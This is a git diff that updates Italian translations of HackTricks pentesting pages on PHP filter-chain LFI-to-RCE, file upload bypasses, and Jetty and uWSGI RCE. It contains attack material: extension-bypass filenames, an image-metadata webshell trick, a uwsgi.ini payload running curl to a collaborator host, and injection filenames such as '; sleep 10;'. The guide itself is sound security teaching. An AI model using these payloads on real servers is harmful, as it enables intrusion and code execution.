potresti poi **brute force filenames durante ore** per trovare il file temporaneo: +Se puoi abusare della LFI per **upload temporary files** e far **hang** l'esecuzione PHP, potresti poi **brute force filenames during hours** per trovare il file temporaneo: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Per causare un Fatal Error +### To Fatal Error -Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per generare quell'errore). +Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 time per generare quell'errore). -**Non so quanto questo sia utile ma potrebbe esserlo.**\ -_Anche se provochi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati._ +**Non so quanto possa essere utile ma potrebbe esserlo.**\ +_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati._
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index b2ccab819..967480074 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -3,38 +3,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Introduzione +## Intro -[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters** per generare contenuto arbitrario come output. Questo fondamentalmente significa che puoi generare **php code** arbitrario per l'include **senza doverlo scrivere** in un file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)spiega che puoi usare **php filters to generate arbitrary content** come output. Questo in pratica significa che puoi **generate arbitrary php code** per l'include **senza doverlo scrivere** su un file. -L'obiettivo dello script è **generare una stringa Base64** all'**inizio** del file che verrà **finalmente decodificata**, fornendo il payload desiderato che verrà **interpretato da `include`**. +Fondamentalmente lo scopo dello script è **generare una stringa Base64** all'**inizio** del file che verrà **infine decodificata**, fornendo il payload desiderato che sarà **interpretato da `include`**. Le basi per farlo sono: -- `convert.iconv.UTF8.CSISO2022KR` prependerà sempre `\x1b$)C` alla stringa -- `convert.base64-decode` è estremamente tollerante: essenzialmente ignorerà qualsiasi carattere che non sia un carattere base64 valido. Può creare qualche problema se trova un "=" inatteso, ma questi possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`. +- `convert.iconv.UTF8.CSISO2022KR` aggiungerà sempre `\x1b$)C` all'inizio della stringa +- `convert.base64-decode` è estremamente tollerante: fondamentalmente ignorerà qualsiasi carattere che non sia un valido Base64. Può creare problemi se trova un "=" inatteso, ma quelli possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`. -Il ciclo per generare contenuto arbitrario è: +Il loop per generare contenuto arbitrario è: -1. aggiungi `\x1b$)C` all'inizio della nostra stringa come descritto sopra -2. applica una catena di conversioni iconv che lascia intatto il nostro base64 iniziale e converte la parte che abbiamo appena preapposto in una stringa in cui l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64 -3. decodifica base64 e codifica di nuovo in base64 la stringa, il che rimuoverà qualsiasi "garbage" nel mezzo -4. torna al punto 1 se il base64 che vogliamo costruire non è ancora completo -5. decodifica base64 per ottenere il nostro php code +1. prepende `\x1b$)C` alla nostra stringa come descritto sopra +2. applica una catena di conversioni iconv che lascia intatto il nostro Base64 iniziale e converte la parte appena preppendata in una stringa in cui l'unico carattere valido Base64 è la parte successiva del nostro codice php codificato in base64 +3. base64-decode e base64-encode della stringa, che rimuoverà qualsiasi "spazzatura" interposta +4. torna al punto 1 se il Base64 che vogliamo costruire non è ancora completo +5. base64-decode per ottenere il nostro codice php > [!WARNING] -> Gli include di solito fanno cose come aggiungere ".php" alla fine del file, il che può complicare l'exploitation perché dovresti trovare un file .php con un contenuto che non uccida l'exploit... oppure puoi semplicemente usare `php://temp` come risorsa perché può avere qualsiasi cosa aggiunta al nome (es. lie + ".php") e permetterà comunque all'exploit di funzionare! +> **Includes** di solito fanno cose come **aggiungere ".php" alla fine** del file, il che può complicare lo sfruttamento perché dovresti trovare un file .php con un contenuto che non annulli l'exploit... oppure **potresti semplicemente usare `php://temp` come resource** perché può **avere qualsiasi cosa aggiunta nel nome** (lie +".php") e permetterà comunque all'exploit di funzionare! -## Come aggiungere anche suffissi ai dati risultanti +## How to add also suffixes to the resulting data -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come è ancora possibile abusare dei PHP filters per aggiungere suffissi alla stringa risultante. Questo è utile nel caso in cui l'output debba avere un formato specifico (per esempio json o aggiungere alcuni magic bytes di PNG). +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come è ancora possibile abusare dei PHP filters per aggiungere suffissi alla stringa risultante. Questo è utile nel caso in cui l'output debba avere un formato specifico (come json o ad esempio aggiungere alcuni magic bytes PNG) -## Strumenti automatici +## Automatic Tools - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** -## Script completo +## Full script ```python import requests @@ -96,7 +96,7 @@ print(r.text) ``` ### Miglioramenti -Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Perciò, ho creato il mio script per eseguire un **bruteforce di tutti i caratteri base64**: +Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Pertanto, ho creato il mio script per **bruteforce di tutti i caratteri base64**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -251,7 +251,7 @@ find_vals($init); } ?> ``` -## Ulteriori Riferimenti +## Ulteriori riferimenti - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 5d30cebaa..032e3da4f 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,4 +1,4 @@ -# File Upload +# Caricamento file {{#include ../../banners/hacktricks-training.md}} @@ -17,11 +17,11 @@ Altre estensioni utili: ### Bypass dei controlli sulle estensioni dei file -1. Se applicabile, **controlla** le **estensioni precedenti**. Testale anche usando qualche **maiuscola**: _pHp, .pHP5, .PhAr ..._ -2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_ +1. Se applicabile, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._ +2. _Controlla **aggiungendo una estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_ - _file.png.php_ - _file.png.Php5_ -3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforceare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** già menzionate_) +3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** di tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **precedentemente** menzionate_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Altre estensioni utili: - _file._ - _file.php...._ - _file.pHp5...._ -4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell’**estensione** o **aggiungendo dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._ +4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell'**estensione** o **aggiungendo dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Altre estensioni utili: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Aggiungi **un altro livello di estensioni** al controllo precedente: +5. Aggiungi **un ulteriore livello di estensioni** ai controlli precedenti: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Prova a mettere l'**estensione eseguibile prima** dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione** _**.php**_**, ma** non necessariamente terminante in .php** eseguirà codice): +6. Prova a mettere l'**estensione eseguibile prima** della estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione **.php**, ma **non necessariamente terminante in .php**, eseguirà codice): - _ex: file.php.png_ -7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe poi essere modificato usando altre tecniche come il short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern potrebbe essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”) -8. Prova a superare i limiti sul nome file. L'estensione valida viene troncata. E il PHP maligno rimane. AAA<--SNIP-->AAA.php +7. Usare gli **NTFS alternate data stream (ADS)** su **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe essere modificato più tardi usando altre tecniche come il suo short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern può essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”) +8. Prova a superare i limiti di lunghezza del nome file. L'estensione valida viene troncata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass di Content-Type, Magic Number, Compression & Resizing +### Bypass Content-Type, Magic Number, Compression & Resizing -- Bypass dei controlli sul **Content-Type** impostando il **valore** dell'header **Content-Type** su: _image/png_ , _text/plain , application/octet-stream_ -1. Wordlist per Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (confondi il comando _file_). Oppure inserisci la shell nei **metadata**:\ +- Bypass dei controlli **Content-Type** impostando il **valore** dell'header **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (per confondere il comando _file_). Oppure inserire la shell all'interno dei **metadata**:\ `exiftool -Comment="' >> img.png` -- Se viene applicata una **compressione** all'immagine, per esempio usando librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk **PLTE** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La pagina web potrebbe anche **ridimensionare** l'**immagine**, usando per esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk **IDAT** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, usando la funzione PHP-GD `thumbnailImage`. In alternativa, puoi usare il chunk **tEXt** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Se viene applicata una **compressione** all'immagine, ad esempio usando alcune librerie standard PHP come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk PLTE [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. +- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- La pagina web potrebbe anche **ridimensionare** l'immagine, usando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk IDAT [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. +- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento**, usando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il chunk tEXt [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**. +- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Altri trucchi da controllare +### Altri trucchi da verificare - Trova una vulnerabilità che permetta di **rinominare** il file già caricato (per cambiare l'estensione). - Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor. -- **Possibili Information disclosure**: +- **Possibili divulgazioni di informazioni**: 1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome** 2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già** -3. Caricare un file con nome **"." , ".." o "…”**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati in "/www/uploads/" il filename "." creerà un file chiamato "uploads" in "/www/". -4. Carica un file che potrebbe non essere facilmente eliminabile come **"…:.jpg”** in **NTFS**. (Windows) -5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows) -6. Carica un file in **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. -- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** se accidentalmente aperto dalla vittima. +3. Caricare un file con **".", ".." o "..." come nome**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file uploadati in "/www/uploads/" la filename "." creerà un file chiamato "uploads" in "/www/". +4. Carica un file che potrebbe non essere eliminato facilmente come **"...:.jpg"** su **NTFS**. (Windows) +5. Carica un file su **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows) +6. Carica un file su **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. +- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima. -### Trucchi speciali con le estensioni +### Trucchi con estensioni speciali -Se stai cercando di caricare file su un **PHP server**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se stai cercando di caricare file su un **ASP server**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se stai cercando di caricare file su un server **PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se stai cercando di caricare file su un server **ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendoli con php, o includendoli dentro uno script...) +I file `.phar` sono come i `.jar` per Java, ma per PHP, e possono essere **usati come un file php** (eseguiti con php, o inclusi dentro uno script...) -L'estensione `.inc` è a volte usata per file php che vengono soltanto **inclusi**, quindi, in alcuni casi, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**. +L'estensione `.inc` è a volte usata per file php che servono solo per **includere altri file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venisse eseguita**. ## **Jetty RCE** -If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! +Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE perché i nuovi \*.xml e \*.war vengono processati automaticamente](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e aspetta la shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Per un'esplorazione dettagliata di questa vulnerabilità consulta la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. +Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', usato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo la lettura dei dati dallo standard output di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`. -Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: +Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi: ```ini [uwsgi] ; read from a symbol @@ -126,15 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati quando vengono rilevate modifiche. +L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche. -È cruciale comprendere la natura permissiva del parsing del file di configurazione di uWSGI. Nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della possibile exploitation. +È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. Più nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della potenziale exploitation. -## **wget File Upload/SSRF Trick** +## **wget File Upload/SSRF Trucco** -In alcune occasioni potresti trovare che un server stia usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere bypassato.**\ +In alcune occasioni potresti scoprire che un server sta usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questa verifica può essere bypassata.**\ -La **lunghezza massima** di un **filename** in **linux** è **255**, tuttavia **wget** tronca i nomi di file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo filename **bypasserà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**. +La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **bypass** il **controllo** (poiché in questo esempio **".gif"** è un'**estensione valida**) ma `wget` rinominerà il file in **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -157,35 +157,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale bypasserà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**. +Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**. -## Strumenti +## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è un tool potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application. -### Corruzione degli indici di upload con le stranezze di snprintf (storico) +### Corrupting upload indices with snprintf quirks (historical) -Alcuni handler di upload legacy che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload attentamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come un upload multi-file e prendendo branch non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTF e in codebase più vecchie. +Alcuni handler di upload legacy che usano `snprintf()` o funzioni simili per costruire array multi-file da un singolo upload possono essere ingannati nel falsificare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload appositamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come upload multi-file e prendendo branche non sicure). Pur essendo niche oggi, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più datate. ## From File upload to other vulnerabilities - Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal** -- Imposta **filename** su `sleep(10)-- -.jpg` e potresti ottenere una **SQL injection** -- Imposta **filename** su `` per ottenere una XSS -- Imposta **filename** su `; sleep 10;` per testare qualche command injection (altre [command injections tricks here](../command-injection.md)) +- Imposta **filename** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere una **SQL injection** +- Imposta **filename** su `` per ottenere una **XSS** +- Imposta **filename** su `; sleep 10;` per testare qualche command injection (more [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Se puoi indicare al web server di recuperare un'immagine da un URL potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**. +- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- Se puoi **indicare al web server di recuperare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- PDF appositamente creati per XSS: la pagina seguente mostra come **inject PDF data to obtain JS execution** (se puoi uploadare PDF potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite) — [../xss-cross-site-scripting/pdf-injection.md](../xss-cross-site-scripting/pdf-injection.md) -- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content per verificare se il server ha un **antivirus** -- Verifica se esiste un **size limit** nel caricamento dei file +- PDF appositamente costruiti per XSS: la [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi uploadare PDF potresti preparare un PDF che esegua JS arbitrario seguendo le indicazioni fornite. +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** +- Verifica se esiste un **limite di dimensione** per l'upload dei file -Ecco una top 10 delle cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -210,15 +210,15 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri filetypes. +Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file. ## Zip/Tar File Automatically decompressed Upload -Se puoi uploadare uno ZIP che verrà decompresso all'interno del server, puoi fare 2 cose: +Se puoi uploadare una ZIP che verrà decompressa all'interno del server, puoi fare 2 cose: ### Symlink -Carica un archivio contenente soft link verso altri file; poi, accedendo ai file decompressi accederai ai file linkati: +Carica un archivio contenente soft link ad altri file, quindi, accedendo ai file decompressi accederai ai file linkati: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -226,7 +226,7 @@ tar -cvf test.tar symindex.txt ``` ### Decomprimere in cartelle diverse -La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante l'ipotesi iniziale che questa configurazione potesse impedire OS-level command execution tramite upload di file 